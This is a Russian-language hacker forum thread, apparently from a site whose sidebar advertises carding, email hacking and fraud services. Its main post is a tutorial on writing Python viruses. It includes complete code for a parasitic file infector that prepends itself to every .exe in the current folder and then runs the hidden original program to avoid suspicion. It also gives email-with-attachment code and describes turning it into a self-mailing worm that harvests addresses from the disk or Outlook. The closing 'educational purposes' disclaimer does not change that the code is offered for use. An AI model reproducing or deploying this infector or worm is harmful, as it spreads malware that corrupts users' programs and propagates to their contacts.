Вирус на Python

Sasha3I8I2

Не сливаю с STF
Pro Member
Сообщения
79
Реакции
40
Посетить сайт
Ни для кого не секрет, что Python помогает решать множество рутинных задач: периодическое резервное копирование файлов, отправка писем по e-mail, поиск и выполнение массы действий с файлами на харде и прочее. По причине того, что Python является языком программирования высокого уровня и сложен в освоении, то и уровень вирусов которые мы можем написать высокий. Вырусы, написанные с помощью ЯВУ, чаще всего классифицируются как HLLx (High Level Language, x — метод размножения).

Существуют несколько главных подвидов HLLx-вирусов:

  • Оверврайтеры (Overwrite) — HLLO,
  • компаньоны (Companion) — HLLC, и
  • паразиты (Parasitic) — HLLP.
Первые представляют из себя примитивные программы, просто переписывающие код жертвы своим кодом, из-за чего оригинальная программа перестает нормально функционировать. Такие вирусы очень разрушительны при своей простоте. По итогу заражения такой заразой компьютер пользователя практически полностью лишается всего установленного ПО. Короче, вандализм чистой воды.

Вирусы-компаньоны более доброжелательны к тем файлам, которые они «заражают». Слово «заражают» взято в кавычки не просто так, ибо, на самом деле HLLC-зловреды просто присваивают себе имя жертвы, а оригинальный exe-шник переименовывают или шифруют во что-нибудь иное. Так они подменяют пользовательский софт своими копиями, после чего запускают оригинальную программу из файла с новым именем. И юзер ничего не заметил, и вирус остался целым и невредимым. HLLP являются самыми сложными из ЯВУ-вирусов. Они проникают напрямую в файл-жертву, но при этом сохраняют работоспособность его кода. Из-за некоторых сложностей высокоуровневых языков программирования полноценного заражения, как у «взрослых» вирусов написанных на ассемблере, добиться почти нереально. Поэтому паразиты получаются не самыми эстетическими, но, к нашему разачарованию, это максимум того, что можно получить из ЯВУ.

По той причине, что как HLLO-, так и HLLC-вирусы слишком однобоки и на практике не встречаются нигде, мы рассмотрим разработку зловреда-паразита. Основной принцип, который они используют для заражения — внедрение в один файл с кодом-жертвой.
Так сохраняется код оригинальной программы, и при этом не привлекает лишнего внимания.

Существует масса вариаций на тему HLLP-зловредов, но мы попробуем реализовать простейшую из них. Вирус будет вписывать в начало файла жертвы свое собственное тело — полностью, со всеми заголовками и служебными структурами. Код «хорошей» программы при этом будет смещен на длину вируса. Получается, сперва будет выполняться вирус, который в конце своих делишек запустит оригинальную программу, для того чтобы лишний раз не вызывать подозрения у юзера. Ну а теперь давайте посмотрим на код:

Код HLLP-вируса:
Python:
import sys

import os

import shutil

virPath = os.path.split(sys.argv[0]);

names = os.listdir('.');

fvir = open(sys.argv[0], 'rb');

virData = fvir.read(19456);

for name in names:



namePair = os.path.splitext(name);

if namePair[1] == '.exe' and

name != virPath[1]:



os.rename(name, name + 'tmp');

fprog = open(name + 'tmp', 'rb');

progData = fprog.read();

fnew = open(name, ‘wb’);

fnew.write(virData + progData);

fnew.close();

fprog.close();

os.remove(name + 'tmp');

origProgData = fvir.read();

origProg = 'original_' + virPath[1];

forig = open(origProg, 'wb');

forig.write(origProgData);

fvir.close();

forig.close();

os.execl(origProg, ' ');

Сначала мы подключаем три модуля: sys, os, shutil. Модуль sys позволяет получить доступ к переменным, которые тесно связаны с интерпретатором или с выполняемым скриптом. Таким образом, мы получаем имя выполняемого скрипта благодаря команде sys.argv[0]. Модуль os дает возможность выполнения команд, которые зависят от операционной системы. Например, получить список файлов в директории, провести определенные операции над ними и так далее. Наконец, модуль shutil позволяет копировать и перемещать файлы на жестком диске.

После импорта нужных нам модулей мы получаем имя файла, в котором содержится исходный код вируса. А при помощи команды os.listdir(‘.’) получаем список файлов в текущей директории и проверяем, является ли очередной объект в списке exe-шником.

Если проверка подтверждает этот факт, то заражаем файл который нашли, просто заменив его собой. Внимательный читатель мог заметить, что в условии оператора if присутствует еще вот такая инструкция:

name != virPath[1],

Но сначала выполняется команда
virPath = os.path.split(sys.argv[0]).

В конце статьи я расскажу что для чего это нужно, а сейчас продолжим. Перед оператором if мы считываем в память собственное содержимое. Достигается это командой fvir. read(19456). Число 19456 — это длина вируса (не забываем, что в файле находится не только вирус, но и жертва). Почему указанна именно такая длина я тоже скажу позже. Далее ищем в текущей папке все exe-шники и инфицируем их. Просто заранее переименовав невинную программку, мы читаем ее код в буфер, после чего создаем новый файл с нужным нам именем и пишем туда сначала тело вируса, а после — считанный только что буфер. Дальше сохраним все это и удаляем оригинальный файл жертвы при помощи команды os.remove(name+’tmp’).

А вот сейчас настал самый ответственный момент — наша задача запустить оригинальный код, который мы предварительно засунули внутрь вируса. Для этого мы читаем то, что осталлось от данных из образа вируса (помните? Мы уже читали 19456 байт и указатель сместился в файле на эту позицию?), после этого сохраняем полученные показания во временный exe, который далее запустим. Так наш вирус вирус правильно отработал, и при этом запустил нужную для все еще ничего не подозревающего юзера программу.

Безусловно, наш вирус вышел неидеальным. Для примера, он не проверяет, инфицирован ли уже экзешник или нет, да и вбивать в код размер конечного файла вируса — не самый удобный способ. Более того, у нашего зловреда возникнут проблемы при первом старте, когда в образе находится только тело виря, а тело жертвы отсутствует. Но данные проблемы можно решить, как и любые другие.

Самое основное — показать принцип работы.

Сетевой червь
Мы создали классического инфектора, распространяется который заражая близлежащие программы. Но ведь существуют также и сетевые черви, которые используют интернет для своих мелких пакостей. Зловредам такого типа неинтересна файловая система компьютера, им нужен доступ в сеть.
Для распространения черви используют дыры в ОС и программах, рассылают себя по электронной почте и прочее. Давайте попытаемся сделать вирус, которому нужны будут именно e-mail’ы

Сначала предлагаю посмотреть, как при помощи Python отправлять письма. Маленький пример, от которого мы будем плясать в будущем:

Отправка письма:

Код:
import smtplib

from email.mime.text import MIMEText

msg = MIMEText('Message text')

# me == email отправителя

# you == email получателя

msg['Subject'] = 'Test message'

msg['From'] = me

msg['To'] = you

s = smtplib.SMTP('')

s.sendmail(me, [you], msg.as_string())

s.quit()

На данномтапе мы пользуемся библиотекой smtplib и входящий в нее пакет MIMEText. Код и так слишком простой, поэтому не требует особых разъяснений. Но на что стоит обратить внимание, так это на авторизацию на SMTP-сервере. Если, внезапно, для отправки сообщения требуется логин и пароль, то нужно будет вызвать еще одну дополнительную функцию. Так как наш вирус является файлом, нам надо прикрепить его к письму. Для этого придется импортировать еще несколько вспомогательных библиотек и написать немного кода.

Сейчас покажу как примерно это должно выглядеть:

Отправка письма с вложением:

Код:
import smtplib

import mimetypes

from email import encoders

from email.mime.multipart import MIMEMultipart

from email.mime.base import MIMEBase

outer = MIMEMultipart()

# me == email отправителя

# you == email получателя

outer['Subject'] = ‘Test message’

outer['From'] = me

outer['To'] = you

ctype, encoding = mimetypes.guess_type(path_to_file)

if ctype is None or encoding is not None:

ctype = 'application/octet-stream'

maintype, subtype = ctype.split(‘/’, 1)

fp = open(path_to_file, ‘rb’)

msg = MIMEBase(maintype, subtype)

msg.set_payload(fp.read())

fp.close()

encoders.encode_base64(msg)

msg.add_header('Content-Disposition',

'attachment', filename=file_name)

outer.attach(msg)

s = smtplib.SMTP('')

s.sendmail(me, [you], outer.as_string())

s.quit()

В импорте у нас появилась библиотека mimetypes, и модули encoders, MIMEMultipart и MIMEBase. MIMEMultipart формирует e-mail из разных видов данных (тексты, пикяи и прочее). MIMEBase работает с файлами произвольного типа — exe. За основу сообщения мы возьмём переменную типа MIMEMultipart и добавим к ней объект MIMEBase, в который до этого считали и декодировали в base64 содержимое файла что нам нужен.

В финале, когда вирус уже сам может отправлять себя в электронном сообщении, дело осталось за малым — найти, кому отправить e-mail. Тут вы можете фантазировать как вашей душе угодно. К примеру, всегда можно поискать адреса на харде , просканировав все файлы. Или можно использовать адресную книгу Outlook, но для этлго тебе будет нужен пакет Python Win32 Extensions.

Несколько замечаний
Способные ребята могут сказать: «Питон — это скрипты, а exe — бинари. Как скриптом заразить исполняемый файл Windows?». Ответ очень прост — питоновские скрипты можно конвертировать в exe. Вот так вот, и это очень просто.

Из-за того, что наши зловреды выполняются не как скрипты, а как полноценные win-приложения, в коде присутствует пара непонятных вещей, о которых я пообещал рассказать позже. Первая из них — это вызов os.path.split(). Так вот, если мы запускаем питон-скрипт, то команда sys.argv[0] возвращает имя этого скрипта (например, virus.py). Но на примере с exeфайлом результат будет иным — полный путь и имя экзешника (C:\Windows\virus.exe). А так как для дальнейших действий нам нужно только наименование файла, то мы вызываем os.path.split().

Еще один непонятный момент — это число 19456. Но тут многие из вас уже догадались, что это размер exe, полученного после конвертации скрипта. Мой вирус весил столько после своего перерождения в бинарный формат.

Данная информация предоставлена исключительно в ознакомительных целях, чтоб вы знали как всё устроенно и не попадались на такие уловки. За любые противозаконные действия, связанные с данной информацией, администрация не несёт ответственности!
 

ProztoDno

Почетный кретин
Pro Member
Сообщения
55
Реакции
27
Посетить сайт
1

164

На самом деле python не слишком сложен. Так же существуют проблемы и с написанием вирусов, вечно приходиться приделывать костыли.
 

Sasha3I8I2

Не сливаю с STF
Pro Member
Сообщения
79
Реакции
40
Посетить сайт
На самом деле python не слишком сложен. Так же существуют проблемы и с написанием вирусов, вечно приходиться приделывать костыли.
На питоне можно писать вирусы НО онибудут весить очень много , нат СИ стилер будет весить 100 КБ , а на питоне 10 мб
 

Sondzin

Member
Сообщения
23
Реакции
1
Посетить сайт
На самом деле python не слишком сложен. Так же существуют проблемы и с написанием вирусов, вечно приходиться приделывать костыли.
Я не спец, но на многих ресурсах новичкам рекомендуют именно с питона начинать обучение, дескать низкий порог вхождения.
 
Название темы
Автор Заголовок Раздел Ответы Дата
Kali_linux_123 Вирус на android Вопросы и интересы 3
SSHMAN Вирус. Вредный экранный гусь,который крадёт курсор и оскорбляет. Полезные статьи 2
A Вирус Aгент Smith заразил более 20 миллионoв устрoйств Новости в сети 0
P Вирус или нет? Вопросы и интересы 2
vikapsh Вирус ратник что это Полезные статьи 5
B Заливы на карты Предоставляю работу. Ищу специалиста. 0
D Оптовый взлом почты на заказ (цена 20$) Взлом почты Mail.ru Yandex.ru Rambler.ru Ищу работу. Предлагаю свои услуги. 0
Ricardo Milos Продам Сим-карты на физ лиц | МТС | Мегафон | Билайн | Tele2 | Yota | Ростелеком | AIVA Финансы - биллинги, банки, кошельки, логи 0
H Заработок на арбитраже трафика в своем сообществе Вконтакте в 2021м году Способы заработка 0
H 1000$ на продаже сообществ (2021) Способы заработка 0
H Первые деньги на Авито без вложений (2021) Способы заработка 0
H 5000 р в день на трафике (2021) Способы заработка 0
K HASH Bhf.io Дамп на 19gb Раздача email 0
Р Интересно 1000 рублей на Delivery Club HONOR 10X Lite или HUAWEI P smart Способы заработка 0
NickelBlack MIX 587k на btc Раздача email 0
K Актуализируем / прочекаем Ваши телефонные базы на валид Пробив информации/Прозвоны 0
SamBonus ❗️Фотодропы. Фото шаблоны для отрисовки. Идеальное качество, любые комплекты на заказ. Ищу работу. Предлагаю свои услуги. 0
AnanasOfficial Реклама на теневых форумах. Ищу работу. Предлагаю свои услуги. 0
Р Интересно 100 руб на мобильник(нужны сканы) Другое 0
Z Продам лью на германию Финансы - биллинги, банки, кошельки, логи 1
zheka424 Заработок на партнерке банков от 2 000 руб Способы заработка 1
K Софт для наркутки на прямые трансляции youtube + чекер логов Продажа софта 0
B Обмен биткоинов на наличные в Москве Bitkov.net Обменники 0
Р Интересно Бесплатно отправляем СМС на любой номер Другое 2
lisan Чекну ваши базы, на свой банк 50/50 (Brute/Checker) Предоставляю работу. Ищу специалиста. 2
L Продам лью на юр счета украины Финансы - биллинги, банки, кошельки, логи 0
J нужны люди на доставку документов Предоставляю работу. Ищу специалиста. 0
T Дедик на 1 год от Alibaba Раздача dedic/ssh/proxy 0
Y Продам залью на xoom Финансы - биллинги, банки, кошельки, логи 0
A Как зарабатывать от 10$ на просмотре почты!!! Способы заработка 6
A Куплю фейки mail.ru и яндекс с проверкой пароля на валидность. Предоставляю работу. Ищу специалиста. 0
yumpa Развертывание “анонимной цепочки” любой сложности на Hyper-V Анонимность и приватность 1
Gumanoid Выводим с QIWI на карту с МИН комиссией. Полезные статьи 1
H Интересно Как проверить свой браузер на утечку данных Полезные статьи 0
H Как установить macOS на USB-накопитель Полезные статьи 0
H Как просканировать любое устройство на уязвимости? Уязвимости и взлом 0
Tzaz Заработок на бане instagram акканутов(от 300р в день) Обучения, схемы, мануалы 0
H Как установить macOS на USB-накопитель Корзина 0
H Web-shell без JavaScript с файл-менеджером на борту Корзина 0
H Шифрование сообщений в GPG на Linux. Корзина 0
Gumanoid Бомбер для ПК на Python Spam/DDOS/Malware 1
Denik Заработок на разработке ботов Способы заработка 0
A [Розыгрыш] 50 руб на киви Розыгрыши 0
Gumanoid 100 рублей на телефон {БЕСПЛАТНО} Полезные статьи 1
Gumanoid Перевязываем ВК на себя Полезные статьи 0
fu11p0w3r Интересно Поднимаем свой IoT ботнет на основе Mirai Вирусология 1
barracudafs Сколько можно было заработать на одном биткоине с 2017 года Новости в сети 0
Биг Тейсти кидок на 100$ Keeper Developmen Контакт : тг @private_keeper Black list и Разборки 5
N Продам лью на испанию Финансы - биллинги, банки, кошельки, логи 0
xpammer Белая схема стабильного дохода на партнерской программе букмекера Ищу работу. Предлагаю свои услуги. 5

Название темы